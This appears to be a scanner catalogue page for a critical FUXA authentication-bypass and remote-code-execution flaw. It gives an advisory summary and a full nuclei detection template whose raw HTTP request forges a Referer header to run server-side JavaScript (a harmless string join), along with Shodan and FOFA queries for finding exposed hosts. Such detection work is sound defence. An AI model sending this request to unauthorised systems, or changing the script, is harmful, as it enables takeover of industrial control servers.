FUXA <= 1.2.8 - Authentication Bypass to Remote Code Execution

criticalseverity

9.8CVSS score

14.3%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

FUXA versions up to and including 1.2.8 contain an authentication bypass in the jwt-helper.js middleware. The requireAuth function trusts the HTTP Referer header containing '/fuxa' (or localhost/loopback patterns) to whitelist requests as "internal", skipping JWT verification entirely. This allows unauthenticated attackers to POST to /api/runscript and execute arbitrary Node.js code server-side via Module._compile(), typically running as root inside Docker deployments.

Impact

An unauthenticated remote attacker can execute arbitrary system commands on the FUXA server with the privileges of the Node.js process (often root in Docker). This leads to full system compromise, data exfiltration, lateral movement, and potential disruption of SCADA/ICS systems managed by FUXA.

Fix

Upgrade to FUXA version 1.3.0 or later, which properly enforces JWT authentication without Referer header trust.

How to confirm it

Send: POST /api/runscript
Positive when: contains "\"{{p1}}{{p2}}\"" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-69985 -u <target>

The full check

id: CVE-2025-69985

info:
  name: FUXA <= 1.2.8 - Authentication Bypass to Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    FUXA versions up to and including 1.2.8 contain an authentication bypass in the jwt-helper.js middleware. The requireAuth function trusts the HTTP Referer header containing '/fuxa' (or localhost/loopback patterns) to whitelist requests as "internal", skipping JWT verification entirely. This allows unauthenticated attackers to POST to /api/runscript and execute arbitrary Node.js code server-side via Module._compile(), typically running as root inside Docker deployments.
  impact: |
    An unauthenticated remote attacker can execute arbitrary system commands on the FUXA server with the privileges of the Node.js process (often root in Docker). This leads to full system compromise, data exfiltration, lateral movement, and potential disruption of SCADA/ICS systems managed by FUXA.
  remediation: |
    Upgrade to FUXA version 1.3.0 or later, which properly enforces JWT authentication without Referer header trust.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69985
    - https://gist.github.com/lihy10/8cb2dd65ebf1385f12a7e00e25a50d40
    - https://github.com/frangoteam/FUXA/blob/master/server/api/jwt-helper.js
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-69985
    epss-score: 0.14342
    epss-percentile: 0.96666
    cwe-id: CWE-288
  metadata:
    verified: true
    max-request: 1
    vendor: frangoteam
    product: fuxa
    shodan-query: title:"FUXA"
    fofa-query: title="FUXA"
  tags: cve,cve2025,fuxa,rce,auth-bypass,scada,ics,vkev

variables:
  p1: "{{rand_text_alpha(8)}}"
  p2: "{{rand_text_alpha(8)}}"

http:
  - raw:
      - |
        POST /api/runscript HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Referer: {{BaseURL}}/fuxa

        {"params":{"script":{"parameters":[],"mode":"","id":"{{p1}}","name":"{{p2}}","code":"return '{{p1}}'+'{{p2}}';","test":"true"},"toLogEvent":false}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"{{p1}}{{p2}}"'

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from